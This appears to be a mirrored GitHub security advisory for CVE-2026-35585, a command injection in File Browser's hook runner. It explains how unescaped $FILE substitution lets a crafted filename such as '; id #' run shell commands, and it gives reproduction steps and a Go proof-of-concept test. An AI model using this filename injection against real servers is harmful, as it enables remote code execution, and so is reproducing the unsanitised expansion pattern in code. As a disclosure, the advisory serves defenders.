GHSA-JVPW-637P-H3PW
Vulnerability from github – Published: 2026-04-08 00:04 – Updated: 2026-04-08 00:04
VLAI?
Summary
File Browser has a Command Injection via Hook Runner
Details
[!NOTE] This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We're publishing this new advisory to make it clear that it also applies to Hook Runners and not just to the Shell Commands, since all advisories until now focused only on the shell command execution.
For more information about tracking vulnerability issues related to the Command Execution features, check https://github.com/filebrowser/filebrowser/issues/5199.
Overview
The hook system in File Browser — which executes administrator-defined shell commands on file events such as upload, rename, and delete — is vulnerable to OS command injection. Variable substitution for values like $FILE and $USERNAME is performed via os.Expand without sanitization. An attacker with file write permission can craft a malicious filename containing shell metacharacters, causing the server to execute arbitrary OS commands when the hook fires. This results in Remote Code Execution (RCE).
Affected Location
- File:
runner/runner.go - Function:
Runner.exec
Technical Details
Runner.exec expands template variables inside hook command strings using os.Expand:
// runner/runner.go
envMapping := func(key string) string {
switch key {
case "FILE":
return path // attacker-controlled filename
case "USERNAME":
return username // attacker-controlled username
// ...
}
}
for i, arg := range command {
if i == 0 { continue }
command[i] = os.Expand(arg, envMapping) // expands $FILE, $USERNAME, etc.
}
The expanded value is then passed as a shell argument string. os.Expand performs plain string substitution with no escaping. If an admin has configured a hook such as:
sh -c "echo created $FILE"
...and an attacker creates a file named ; id #, the variable expansion produces:
sh -c "echo created /path/to/; id #"
The ; terminates the echo command and the shell executes id with server privileges. The # character comments out the remainder, preventing syntax errors.
This pattern is exploitable across all hook events: before_upload, after_upload, before_rename, after_rename, before_delete, after_delete, etc.
Attack Scenario / Reproduction Steps
- Admin configures an
after_uploadhook:sh -c "echo created $FILE". - The attacker (authenticated user with upload permission) uploads a file named
; id #. - The upload succeeds and the hook fires automatically.
- The server executes:
sh sh -c "echo created /uploads/; id #" - The
idcommand runs, confirming RCE.
Impact
Any authenticated user with file create, upload, or rename permissions can achieve arbitrary RCE on the server when shell-based hooks are configured. The attacker does not need to know the exact hook command — any hook that embeds $FILE in a shell string is exploitable by crafting the filename accordingly.
Proof of Concept
package runner
import (
"os"
"testing"
"github.com/filebrowser/filebrowser/v2/settings"
)
func TestPoC_FileHookInjection(t *testing.T) {
// Simulate an admin-configured shell-based hook
r := &Runner{
Enabled: true,
Settings: &settings.Settings{
Shell: []string{"sh", "-c"},
Commands: map[string][]string{
"after_upload": {"echo Uploaded $FILE"},
},
},
}
// Malicious filename crafted by the attacker
maliciousFilename := "/tmp/safe; id #"
// Simulate the exec logic in runner/runner.go
raw := r.Commands["after_upload"][0]
command, _, _ := ParseCommand(r.Settings, raw)
envMapping := func(key string) string {
if key == "FILE" {
return maliciousFilename
}
return os.Getenv(key)
}
for i, arg := range command {
if i == 0 {
continue
}
// os.Expand substitutes $FILE with the attacker-controlled filename —
// no escaping is applied, so shell metacharacters pass through unchanged.
command[i] = os.Expand(arg, envMapping)
}
// The resulting command argument is the injected shell script:
// sh -c "echo Uploaded /tmp/safe; id #"
expectedArg := "echo Uploaded /tmp/safe; id #"
if command[2] != expectedArg {
t.Errorf("Expected command argument %q, got %q", expectedArg, command[2])
}
t.Logf("Confirmed: filename injection succeeded. Shell will execute: %v", command)
}
Severity ?
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/filebrowser/filebrowser/v2"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0-rc.1"
},
{
"last_affected": "2.63.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35585"
],
"database_specific": {
"cwe_ids": [
"CWE-78",
"CWE-88"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-08T00:04:27Z",
"nvd_published_at": "2026-04-07T17:16:33Z",
"severity": "HIGH"
},
"details": "\u003e [!NOTE]\n\u003e **This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations**. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We\u0027re publishing this new advisory to make it clear that it also applies to Hook Runners and not just to the Shell Commands, since all advisories until now focused only on the shell command execution.\n\u003e\n\u003e For more information about tracking vulnerability issues related to the Command Execution features, check https://github.com/filebrowser/filebrowser/issues/5199.\n\n## Overview\n\nThe hook system in File Browser \u2014 which executes administrator-defined shell commands on file events such as upload, rename, and delete \u2014 is vulnerable to OS command injection. Variable substitution for values like `$FILE` and `$USERNAME` is performed via `os.Expand` without sanitization. An attacker with file write permission can craft a malicious filename containing shell metacharacters, causing the server to execute arbitrary OS commands when the hook fires. This results in **Remote Code Execution (RCE)**.\n\n## Affected Location\n\n- **File:** `runner/runner.go`\n- **Function:** `Runner.exec`\n\n## Technical Details\n\n`Runner.exec` expands template variables inside hook command strings using `os.Expand`:\n\n```go\n// runner/runner.go\nenvMapping := func(key string) string {\n switch key {\n case \"FILE\":\n return path // attacker-controlled filename\n case \"USERNAME\":\n return username // attacker-controlled username\n // ...\n }\n}\n\nfor i, arg := range command {\n if i == 0 { continue }\n command[i] = os.Expand(arg, envMapping) // expands $FILE, $USERNAME, etc.\n}\n```\n\nThe expanded value is then passed as a shell argument string. `os.Expand` performs plain string substitution with no escaping. If an admin has configured a hook such as:\n\n```\nsh -c \"echo created $FILE\"\n```\n\n...and an attacker creates a file named `; id #`, the variable expansion produces:\n\n```\nsh -c \"echo created /path/to/; id #\"\n```\n\nThe `;` terminates the `echo` command and the shell executes `id` with server privileges. The `#` character comments out the remainder, preventing syntax errors.\n\nThis pattern is exploitable across all hook events: `before_upload`, `after_upload`, `before_rename`, `after_rename`, `before_delete`, `after_delete`, etc.\n\n## Attack Scenario / Reproduction Steps\n\n1. Admin configures an `after_upload` hook: `sh -c \"echo created $FILE\"`.\n2. The attacker (authenticated user with upload permission) uploads a file named `; id #`.\n3. The upload succeeds and the hook fires automatically.\n4. The server executes:\n ```sh\n sh -c \"echo created /uploads/; id #\"\n ```\n5. The `id` command runs, confirming RCE.\n\n## Impact\n\nAny authenticated user with file create, upload, or rename permissions can achieve arbitrary RCE on the server when shell-based hooks are configured. The attacker does not need to know the exact hook command \u2014 any hook that embeds `$FILE` in a shell string is exploitable by crafting the filename accordingly.\n\n## Proof of Concept\n\n```go\npackage runner\n\nimport (\n \"os\"\n \"testing\"\n\n \"github.com/filebrowser/filebrowser/v2/settings\"\n)\n\nfunc TestPoC_FileHookInjection(t *testing.T) {\n // Simulate an admin-configured shell-based hook\n r := \u0026Runner{\n Enabled: true,\n Settings: \u0026settings.Settings{\n Shell: []string{\"sh\", \"-c\"},\n Commands: map[string][]string{\n \"after_upload\": {\"echo Uploaded $FILE\"},\n },\n },\n }\n\n // Malicious filename crafted by the attacker\n maliciousFilename := \"/tmp/safe; id #\"\n\n // Simulate the exec logic in runner/runner.go\n raw := r.Commands[\"after_upload\"][0]\n command, _, _ := ParseCommand(r.Settings, raw)\n\n envMapping := func(key string) string {\n if key == \"FILE\" {\n return maliciousFilename\n }\n return os.Getenv(key)\n }\n\n for i, arg := range command {\n if i == 0 {\n continue\n }\n // os.Expand substitutes $FILE with the attacker-controlled filename \u2014\n // no escaping is applied, so shell metacharacters pass through unchanged.\n command[i] = os.Expand(arg, envMapping)\n }\n\n // The resulting command argument is the injected shell script:\n // sh -c \"echo Uploaded /tmp/safe; id #\"\n expectedArg := \"echo Uploaded /tmp/safe; id #\"\n if command[2] != expectedArg {\n t.Errorf(\"Expected command argument %q, got %q\", expectedArg, command[2])\n }\n\n t.Logf(\"Confirmed: filename injection succeeded. Shell will execute: %v\", command)\n}\n```",
"id": "GHSA-jvpw-637p-h3pw",
"modified": "2026-04-08T00:04:27Z",
"published": "2026-04-08T00:04:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-jvpw-637p-h3pw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35585"
},
{
"type": "WEB",
"url": "https://github.com/filebrowser/filebrowser/issues/5199"
},
{
"type": "PACKAGE",
"url": "https://github.com/filebrowser/filebrowser"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "File Browser has a Command Injection via Hook Runner"
}
Loading…
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…